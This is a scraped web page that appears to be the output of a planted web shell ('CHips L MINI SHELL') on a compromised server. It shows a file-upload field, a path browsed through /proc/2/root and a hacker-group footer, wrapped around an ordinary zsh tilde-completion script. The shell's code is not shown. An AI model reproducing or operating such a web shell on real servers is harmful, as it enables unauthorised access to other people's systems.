CHips L MINI SHELL

CHips L pro

Current Path : /proc/2/root/usr/share/zsh/4.3.11/functions/
Upload File :
Current File : //proc/2/root/usr/share/zsh/4.3.11/functions/_tilde_files

#autoload

# Complete files and expand tilde expansions in it.

if [[ ( -o magicequalsubst && "$IPREFIX" = *\= ) || $argv[(I)-W*] -ne 0 ]]; then
  _files "$@"
  return
fi

case "$PREFIX" in
\~/*)
  IPREFIX="${IPREFIX}${HOME}/"
  PREFIX="${PREFIX[3,-1]}"
  _files "$@" -W "${HOME}"
  ;;
\~*/*)
  local user="${PREFIX[2,-1]%%/*}"

  if (( $+userdirs[$user] )); then
    user="$userdirs[$user]"
  elif (( $+nameddirs[$user] )); then
    user="$nameddirs[$user]"
  else
    _message "unknown user \`$user'"
    return 1
  fi
  IPREFIX="${IPREFIX}${user%/}/"
  PREFIX="${PREFIX#*/}"
  _files "$@" -W "$user"
  ;;
\~*)
  compset -P '?'
  _users "$@"
  ;;
*)
  _files "$@"
  ;;
esac

Copyright 2K16 - 2K18 Indonesian Hacker Rulez